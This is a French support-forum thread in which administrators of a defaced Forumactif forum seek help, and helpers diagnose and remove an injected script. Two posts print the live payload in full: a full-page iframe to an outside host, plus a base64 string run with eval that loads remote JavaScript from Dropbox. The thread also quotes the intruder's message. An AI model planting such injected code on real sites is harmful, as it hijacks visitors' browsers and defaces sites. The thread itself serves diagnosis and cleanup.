Forum a changé d'apparence

[Vévette2]

Bonjour,

Tout d'abord désolé si le message n'est pas posté au bon endroit.

J'ai un gros problème, hier mon forum dont voici le lien : http://docteurangelique.forumactif.com/ a été piraté je ne sais comment et le thème du forum a été changé. Je ne sais comment faire pour lui redonner son apparence d'origine ni comment identifier les causes du piratage.

Des solutions ? Des conseils ?

Par avance, merci.

[Arnaud Dumouch]

J'ai posté un message à "Bigboss" qui est un des chefs de Forum actif.

J'espère qu'il viendra vite à notre aide d'autant plus que ce genre de virus met en danger tous les forum.

[Walt]

Bonjour,

Je ne sais pas qui vous avez contacté, mais je ne connais pas de "Bigboss"... Ensuite, il n'y a ni virus ni piratage de forum d'après ce que je peux voir.
Le forum me semble tout à fait normal à l'heure actuelle :



Cordialement,
Walt

[Arnaud Dumouch]

Non non, regarder à la place de la pub :

Mr R0b0t 357+
Il n"est pas trop tard pour vous liberer de vos chaines...

Et lorsqu'on clique sur un des sous forum, on se trouve boqué.

[Bipo]

Bonsoir,

Panneau d'Administration → Affichage → Page d'accueil → Généralités : Est-ce qu'il y a du texte sur cette page ? Il a probablement mis le message via cette option. Si c'est le cas, supprimez tout.

Bien à vous.
Bipo.

[Vévette2]

En passant par le portail, on arrive parfois à pouvoir se connecter à un forum au déroulement, sinon ce n'est pas possible, comme le dit Arnaud, on est bloqués.

Et les titres deviennent verts.

[Bipo]

Bonsoir,

Panneau d'Administration → Affichage → Page d'accueil → Généralités : Est-ce qu'il y a du texte sur cette page ? Il a probablement mis le message via cette option. Si c'est le cas, supprimez tout.

Bien à vous.
Bipo.

[Vévette2]

Bonsoir,

Panneau d'Administration → Affichage → Page d'accueil → Généralités : Est-ce qu'il y a du texte sur cette page ? Il a probablement mis le message via cette option. Si c'est le cas, supprimez tout.

Bien à vous.
Bipo.

Je suis administratrice de ce forum et je n'arrive pas à ouvrir le PA.

[Bipo]

Bonsoir,

Panneau d'Administration → Affichage → Page d'accueil → Généralités : Est-ce qu'il y a du texte sur cette page ? Il a probablement mis le message via cette option. Si c'est le cas, supprimez tout.

Bien à vous.
Bipo.

Je suis administratrice de ce forum et je n'arrive pas à ouvrir le PA.

Bonsoir,

Vous pouvez vous connecter sur le PA via ce lien : http://docteurangelique.forumactif.com/admin/

[Arnaud Dumouch]

Je viens de faire cette démarche. Il y avait un texte. Je l'ai effacé.

Mais il se remet dès que je quitte cette fonction.

Manifestement, il y a une racine qui infecte le forum.

[Vévette2]

Je viens de faire cette démarche. Il y avait un texte. Je l'ai effacé.

Mais il se remet dès que je quitte cette fonction.

Manifestement, il y a une racine qui infecte le forum.

oui, et je ne suis même pas arrivée à passer par le portail pour aller au forum de l'administration.

Dans le déroulement du portail, il y a des fils de couleur bleue et d'autres d'une autre couleur, idem pour les membres.

et Mr Robot est toujours là à veiller

[Bipo]

Je viens de faire cette démarche. Il y avait un texte. Je l'ai effacé.

Mais il se remet dès que je quitte cette fonction.

Manifestement, il y a une racine qui infecte le forum.

Re,

En effet, je le constate en actualisant toutes les trente secondes la page de votre forum.

Dans la page que je vous ai indiqué plus haut, il n'y a pas ce code d'installer sur le forum ?



C'est ce code qui provoque le problème de votre forum.

[Vévette2]

Vous pouvez vous connecter sur le PA via ce lien : http://docteurangelique.forumactif.com/admin/

Merci, j'y suis arrivée et ai changé mon mot de passe et ma signature qui était tout un charabia incompréhensible. Puis, je suis arrivée à retourner au forum pour poster ce conseil au forum de l'administration, mais maintenant, impossible d'aller ailleurs, c'est bloqué et ça saute

Pourtant, j'ai vu qu'il y a des membres qui arrivent à poster de temps en temps.

Mais je ne doute pas qu'on arrivera avec votre aide à résoudre ce problème.

Merci d'avance.

[Bipo]

Re,

Le problème est simple à résoudre. Il faut trouver le code que j'ai mis plus haut ! Il doit être quelque part dans votre Panneau d'Administration. Soit dans les templates, soit dans le module indiqué plus haut. A l'étude du code source, j'étais certain que ce code a été injecté dans le module de bienvenue... ! Ou alors, peut-être dans les annonces (Panneau d'Administration → Général → Annonces)...

[Arnaud Dumouch]

Non c'est vide. Sauf le passage Panneau d'Administration → Affichage → Page d'accueil → Généralités : Un texte se remet sur cette page ?

[Bipo]

Re,

En me reconnectant sur votre forum, visiblement, il n'y a plus le code en question... Il ne semble plus impacté !

Edit : Visiblement, il est revenu x)

[Arnaud Dumouch]

Un membre vient d'écrire : Nouveau message   Hier à 22:40

Il m'est toujours impossible de poster sauf à passer par " rechercher " , et pas pour toutes les rubriques

Oui cela ne semble pas réglé...

Il est 5 heures du matin ce samedi. Je vais sur la page Panneau d'Administration → Affichage → Page d'accueil → Généralités : Et je trouve toujours ce texte de Mr R0b0t 357+

Il n"est pas trop tard pour vous liberer de vos chaines...<iframe src="http://hat-733.getforge.io" style="position:absolute;left:0px;top:0px;width:100%;height:100%;z-index:1000;min-width:3000px;min-height:3000px" class="trueMsgFrame"></iframe><iframe src="javascript:eval(atob('dmFyIGg9cGFyZW50LmRvY3VtZW50LmhlYWQ7aWYoIWgpe2g9cGFyZW50LmRvY3VtZW50LmJvZHk7fXZhciBzPXBhcmVudC5kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNldEF0dHJpYnV0ZSgnc3JjJywnaHR0cHM6Ly9kbC5kcm9wYm94LmNvbS9zLzVmcmFrMG5ocmsyYmVtci9hLmpzPycrTWF0aC5mbG9vcigoTWF0aC5yYW5kb20oKSoxMDApKzEpKTtoLmFwcGVuZENoaWxkKHMpOw=='));" style="display:none"></iframe>

Elle revient toujours ce qui prouve que le forum est toujours infecté

[Vévette2]

Bonjour à tous

Apparemment, rien de changé depuis ce matin à 5h01 !!! toujours Mr Robot ! Il m'est même impossible aujourd'hui de passer par le portail...

[Arnaud Dumouch]

Chers amis, Une de nos administratrice, K11, a trouvé ce message venant du pirate, de mr robot. K 11 précise : "Ce n´est pas par message privé qu´il a fait parvenir ce message, mais il l´a affiché d´un coup ... (il y avait inscrit : "forum en maintenance" juste au dessus de son message)

Cela m´est apparu 3 ou 4 fois."

Le voici :

Bonjour,
Entendons nous bien, je ne suis ni sataniste, ni luciférien, ni même Athé ou religieu ou encore avide de contrôle par de petits hacks gratuits de forum comme celui ci.
Non.
Je suis de ces lucides capables de se construire une spiritualité adogmatique
Les dogmes que vous véhiculez en tant que fanatiques font de vous les fameux "illuminés" que vous croyez calomniés.

Ces vérités révélées et assainées sont le mal de notre société, ils ménent à l'obscurantisme
Ils sont les dernières chaines apposées par les élites pour contrôler la masse.

La religion éloigne les êtres plus qu'elle ne les rapproche.

Ps: (c'est essentiellement vos échanges sur le retour à la monarchie absolue et la fin des temps qui m'ont le plus distrait)


Imagine there's no heaven
It's easy if you try
No hell below us
Above us only sky
Imagine all the people
Living for today... Aha-ah...
Imagine there's no countries
It isn't hard to do
Nothing to kill or die for
And no religion, too
Imagine all the people
Living life in peace... You...
You may say I'm a dreamer
But I'm not the only one
I hope someday you'll join us
And the world will be as one
Imagine no possessions
I wonder if you can
No need for greed or hunger
A brotherhood of man
Imagine all the people
Sharing all the world... You...
You may say I'm a dreamer
But I'm not the only one
I hope someday you'll join us
And the world will live as one

[Vévette2]

Est-ce que la personne qui m'a écrit à Facebook peut dire si le premier post que j'ai envoyé  lui dit quelque chose concernant l'image qui apparaissait à ce moment là sur le forum : un chat.

Il était derrière la page depuis jeudi soir mais hier après-midi, c'était un chat en père noël et "colombine"

Cette personne vient de me conseiller" de vérifier dans le PA > général>sécurité
l'auteur de ces actions et qu'il suffirait de lui retirer les droit d'accès er le code"


je remets ici pour que la personne se reconnaisse, car je n'ai pas envie de donner mes coordonnées FB ici  et pour qu'elle puisse remonter à hier quand j'ai écrit pour la première fois à FB.

Merci à vous tous.

[Vévette2]

Rien de changé : Mr Robot est toujours là et personnellement, je ne peux aller sur aucun fil. Certains sont de couleurs différentes, tout comme les pseudos : avez-vous trouvé quelque chose Messieurs les informaticiens ?

[Vévette2]

Un membre a écrit cela :

J'ai toujours ce message

Vous entrez sur un site Web suspect
http://hat-733.getforge.io
Ce site Web est signalé comme étant suspect.
Nous vous conseillons de ne pas le consulter.
Autoriser le site Web

est-ce que ça vous dit quelque chose ?

[Vévette2]

Bonjour,

Je reviens vers vous pour donner quelques nouvelles, les choses avances mais doucement. Nous avons toujours un problème de page d'accueil (et d'autres pages comme celle des topics) qui se figent au bout de cinq secondes et nous ne savons pas comment résoudre ce problème.

De même nous avons une déformation des pages, un fond blanc sur lequel est marqué:

Your trial version has expired

Site will be deleted soon, please purchase subscription

Nous empêche de cliquer sur le premier tiers haut des pages une fois rentré dans un topic.

Avez-vous des solutions ?

Un grand merci pour votre aide.

Edition: le message de "Mr Robot 357 +" est de nouveau présent...

[Arnaud Dumouch]

Le Moinbe écrit :

Bonjour,


Sauf erreur de ma part, je viens de revérifier dans le PA qu'avec ta version actuelle (gratuite) , je ne peux pas avoir accès aux " templates modifiés et de bases" ( PA > Affichages >Templates modifiés et publiés
Templates modifiés et en attente ) sinon j'aurais réinstallé les templates de base ou supprimé un " code " erroné que ton pirate a inclus, car cette fonctionnalité est possible avec la version payante " premium " :

https://forum.forumactif.com/t395880-information-arrivee-des-packages-sur-forumactif

le staff de Forum actif solutionne ce problème ?

[@stra]

sauf erreur de ma part, tu peux y accéder avec la version gratuite, mais tu dois être connecter avec l'identifiant du créateur du forum.

[Arnaud Dumouch]

Ah merci. Je regarde

[le moine]

Bonsoir,


le forum : http://docteurangelique.forumactif.com/ a toujours les mêmes problèmes :

- des infos écrites sur la page d'accueil :

MR R0B0T 357+

Il n"est pas trop tard pour vous liberer de vos chaines...

Pourtant dans le : PA > Affichage > généralité > Message sur la page d'accueil cela a été effacé mais quelques secondes après, ces mêmes infos reviennent automatiquement :

Il n"est pas trop tard pour vous liberer de vos chaines...<iframe src="http://hat-733.getforge.io" style="position:absolute;left:0px;top:0px;width:100%;height:100%;z-index:1000;min-width:3000px;min-height:3000px" class="trueMsgFrame"></iframe><iframe src="javascript:eval(atob('dmFyIGg9cGFyZW50LmRvY3VtZW50LmhlYWQ7aWYoIWgpe2g9cGFyZW50LmRvY3VtZW50LmJvZHk7fXZhciBzPXBhcmVudC5kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNldEF0dHJpYnV0ZSgnc3JjJywnaHR0cHM6Ly9kbC5kcm9wYm94LmNvbS9zLzVmcmFrMG5ocmsyYmVtci9hLmpzPycrTWF0aC5mbG9vcigoTWF0aC5yYW5kb20oKSoxMDApKzEpKTtoLmFwcGVuZENoaWxkKHMpOw=='));" style="display:none"></iframe>

Le forum aussi change de thème de façons aléatoires et automatiquement ( couleurs, images )

Dans la barre d'adresse, l'info " non sécurisé " est indiqué.

Est il possible qu'un membre du staff puisse aller dans le PA pour solutionner le problème svp ou des infos des membres du FA pour résoudre cela ?

merci

[Walt]

Bonsoir,

Le script qui modifie l'apparence du forum est chargé sur ce lien : https://dl.dropboxusercontent.com/s/5frak0nhrk2bemr/a.js

Si l'on analyse la partie que vous venez de coller ci-dessus :

Code:

atob('dmFyIGg9cGFyZW50LmRvY3VtZW50LmhlYWQ7aWYoIWgpe2g9cGFyZW50LmRvY3VtZW50LmJvZHk7fXZhciBzPXBhcmVudC5kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNldEF0dHJpYnV0ZSgnc3JjJywnaHR0cHM6Ly9kbC5kcm9wYm94LmNvbS9zLzVmcmFrMG5ocmsyYmVtci9hLmpzPycrTWF0aC5mbG9vcigoTWF0aC5yYW5kb20oKSoxMDApKzEpKTtoLmFwcGVuZENoaWxkKHMpOw==')

Une fois traduite dans un langage lisible, cela équivaut à :

Code:

<script src="https://dl.dropbox.com/s/5frak0nhrk2bemr/a.js">

C'est donc bien la partie que vous voyez dans la zone du message d'accueil qui génère et charge ce script et qui provoque les modifications. Si vous le supprimez et qu'il revient, c'est qu'un accès administrateur permet à l'utilisateur malveillant, d'une manière automatique ou non, de remettre ce script à cet endroit.

Je vous conseille donc dans un premier temps
1. de supprimer à nouveau cet extrait de code de la page d'accueil,
2. de modifier les mots de passe de tous les administrateurs,
3. de vérifier si des templates ont été modifiés, et si tel est le cas, de réviser les modifications apportées,
4. de vérifier l'inexistence de Javascripts suspects (PA > Modules > Gestion des codes Javascript)

Cordialement,
Walt

[le moine]

1. de supprimer à nouveau cet extrait de code de la page d'accueil,

Est le chemin pour aller modifier cela svp ?

[Bipo]

Bonsoir,

Panneau d'Administration → Affichage → Page d'accueil → Généralités : Est-ce qu'il y a du texte sur cette page ? Il a probablement mis le message via cette option. Si c'est le cas, supprimez tout.

Bien à vous.
Bipo.